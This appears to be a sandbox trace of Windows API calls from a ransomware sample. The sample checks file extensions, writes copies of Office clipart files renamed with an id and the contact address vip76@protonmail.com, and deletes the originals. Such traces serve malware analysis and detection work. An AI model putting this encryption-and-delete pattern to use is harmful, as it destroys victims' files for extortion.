	[0171.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.779] lstrlenW (lpString=".zip") returned 4
	[0171.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.779] lstrlenW (lpString=".rar") returned 4
	[0171.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.779] lstrlenW (lpString=".bz2") returned 4
	[0171.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.779] lstrlenW (lpString=".7z") returned 3
	[0171.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.779] lstrlenW (lpString=".dbf") returned 4
	[0171.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.779] lstrlenW (lpString=".1cd") returned 4
	[0171.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.780] lstrlenW (lpString=".jpg") returned 4
	[0171.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.780] lstrlenW (lpString=".doc") returned 4
	[0171.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.780] lstrlenW (lpString=".docx") returned 5
	[0171.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.780] lstrlenW (lpString=".pdf") returned 4
	[0171.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.780] lstrlenW (lpString=".xls") returned 4
	[0171.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.780] lstrlenW (lpString=".xlsx") returned 5
	[0171.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.780] lstrlenW (lpString=".ppt") returned 4
	[0171.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.780] lstrlenW (lpString=".zip") returned 4
	[0171.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.780] lstrlenW (lpString=".rar") returned 4
	[0171.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.780] lstrlenW (lpString=".bz2") returned 4
	[0171.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.780] lstrlenW (lpString=".7z") returned 3
	[0171.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.780] lstrlenW (lpString=".dbf") returned 4
	[0171.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.780] lstrlenW (lpString=".1cd") returned 4
	[0171.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68
	[0171.781] lstrlenW (lpString=".jpg") returned 4
	[0171.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.781] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.781] lstrlenW (lpString="FD01084_.WMF") returned 12
	[0171.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0171.781] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=2412) returned 1
	[0171.782] CloseHandle (hObject=0x510) returned 1
	[0171.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220
	[0171.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0171.782] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.782] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0171.783] GetLastError () returned 0x0
	[0171.783] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x96c, lpOverlapped=0x0) returned 1
	[0171.798] WriteFile (in: hFile=0x588, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x970, lpOverlapped=0x0) returned 1
	[0171.799] ReadFile (in: hFile=0x510, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.799] WriteFile (in: hFile=0x588, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.799] SetEndOfFile (hFile=0x588) returned 1
	[0171.799] CloseHandle (hObject=0x588) returned 1
	[0171.800] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.800] SetEndOfFile (hFile=0x510) returned 1
	[0171.805] CloseHandle (hObject=0x510) returned 1
	[0171.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1
	[0171.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.810] lstrlenW (lpString=".doc") returned 4
	[0171.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.810] lstrlenW (lpString=".docx") returned 5
	[0171.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.810] lstrlenW (lpString=".pdf") returned 4
	[0171.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.811] lstrlenW (lpString=".xls") returned 4
	[0171.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.811] lstrlenW (lpString=".xlsx") returned 5
	[0171.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.811] lstrlenW (lpString=".ppt") returned 4
	[0171.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.811] lstrlenW (lpString=".zip") returned 4
	[0171.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.811] lstrlenW (lpString=".rar") returned 4
	[0171.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.811] lstrlenW (lpString=".bz2") returned 4
	[0171.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.811] lstrlenW (lpString=".7z") returned 3
	[0171.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.811] lstrlenW (lpString=".dbf") returned 4
	[0171.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.811] lstrlenW (lpString=".1cd") returned 4
	[0171.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.811] lstrlenW (lpString=".jpg") returned 4
	[0171.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.811] lstrlenW (lpString=".doc") returned 4
	[0171.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.811] lstrlenW (lpString=".docx") returned 5
	[0171.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.811] lstrlenW (lpString=".pdf") returned 4
	[0171.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.812] lstrlenW (lpString=".xls") returned 4
	[0171.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.812] lstrlenW (lpString=".xlsx") returned 5
	[0171.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.812] lstrlenW (lpString=".ppt") returned 4
	[0171.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.812] lstrlenW (lpString=".zip") returned 4
	[0171.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.812] lstrlenW (lpString=".rar") returned 4
	[0171.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.812] lstrlenW (lpString=".bz2") returned 4
	[0171.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.812] lstrlenW (lpString=".7z") returned 3
	[0171.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.812] lstrlenW (lpString=".dbf") returned 4
	[0171.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.812] lstrlenW (lpString=".1cd") returned 4
	[0171.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68
	[0171.812] lstrlenW (lpString=".jpg") returned 4
	[0171.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.812] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.812] lstrlenW (lpString="FD01191_.WMF") returned 12
	[0171.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a8
	[0172.156] GetFileSizeEx (in: hFile=0x5a8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3964) returned 1
	[0172.156] CloseHandle (hObject=0x5a8) returned 1
	[0172.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220
	[0172.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a8
	[0172.157] SetFilePointerEx (in: hFile=0x5a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.157] SetFilePointerEx (in: hFile=0x5a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0172.158] GetLastError () returned 0x0
	[0172.158] ReadFile (in: hFile=0x5a8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xf7c, lpOverlapped=0x0) returned 1
	[0172.161] WriteFile (in: hFile=0x5ac, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xf80, lpOverlapped=0x0) returned 1
	[0172.162] ReadFile (in: hFile=0x5a8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.162] WriteFile (in: hFile=0x5ac, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.163] SetEndOfFile (hFile=0x5ac) returned 1
	[0172.163] CloseHandle (hObject=0x5ac) returned 1
	[0172.163] SetFilePointerEx (in: hFile=0x5a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.163] SetEndOfFile (hFile=0x5a8) returned 1
	[0173.078] CloseHandle (hObject=0x5a8) returned 1
	[0173.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0173.574] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1
	[0174.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.013] lstrlenW (lpString=".doc") returned 4
	[0174.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString=".docx") returned 5
	[0174.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.013] lstrlenW (lpString=".pdf") returned 4
	[0174.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString=".xls") returned 4
	[0174.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.013] lstrlenW (lpString=".xlsx") returned 5
	[0174.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.013] lstrlenW (lpString=".ppt") returned 4
	[0174.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.013] lstrlenW (lpString=".zip") returned 4
	[0174.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.013] lstrlenW (lpString=".rar") returned 4
	[0174.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString=".bz2") returned 4
	[0174.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString=".7z") returned 3
	[0174.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.013] lstrlenW (lpString=".dbf") returned 4
	[0174.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.013] lstrlenW (lpString=".1cd") returned 4
	[0174.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.013] lstrlenW (lpString=".jpg") returned 4
	[0174.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.014] lstrlenW (lpString=".doc") returned 4
	[0174.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.014] lstrlenW (lpString=".docx") returned 5
	[0174.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.014] lstrlenW (lpString=".pdf") returned 4
	[0174.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.014] lstrlenW (lpString=".xls") returned 4
	[0174.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.014] lstrlenW (lpString=".xlsx") returned 5
	[0174.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.014] lstrlenW (lpString=".ppt") returned 4
	[0174.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.014] lstrlenW (lpString=".zip") returned 4
	[0174.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.014] lstrlenW (lpString=".rar") returned 4
	[0174.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.014] lstrlenW (lpString=".bz2") returned 4
	[0174.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.015] lstrlenW (lpString=".7z") returned 3
	[0174.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.015] lstrlenW (lpString=".dbf") returned 4
	[0174.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.015] lstrlenW (lpString=".1cd") returned 4
	[0174.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68
	[0174.015] lstrlenW (lpString=".jpg") returned 4
	[0174.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.015] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.015] lstrlenW (lpString="FD02161_.WMF") returned 12
	[0174.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.364] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3128) returned 1
	[0174.364] CloseHandle (hObject=0x594) returned 1
	[0174.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220
	[0174.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0174.523] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.523] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0174.610] GetLastError () returned 0x0
	[0174.610] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xc38, lpOverlapped=0x0) returned 1
	[0174.612] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xc40, lpOverlapped=0x0) returned 1
	[0174.613] ReadFile (in: hFile=0x594, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.613] WriteFile (in: hFile=0x590, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.613] SetEndOfFile (hFile=0x590) returned 1
	[0174.613] CloseHandle (hObject=0x590) returned 1
	[0174.613] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.613] SetEndOfFile (hFile=0x594) returned 1
	[0174.616] CloseHandle (hObject=0x594) returned 1
	[0174.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0174.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1
	[0174.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0174.618] lstrlenW (lpString=".doc") returned 4
	[0174.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.619] lstrlenW (lpString=".docx") returned 5
	[0174.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.619] lstrlenW (lpString=".pdf") returned 4
	[0174.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.619] lstrlenW (lpString=".xls") returned 4
	[0174.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.619] lstrlenW (lpString=".xlsx") returned 5
	[0174.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.619] lstrlenW (lpString=".ppt") returned 4
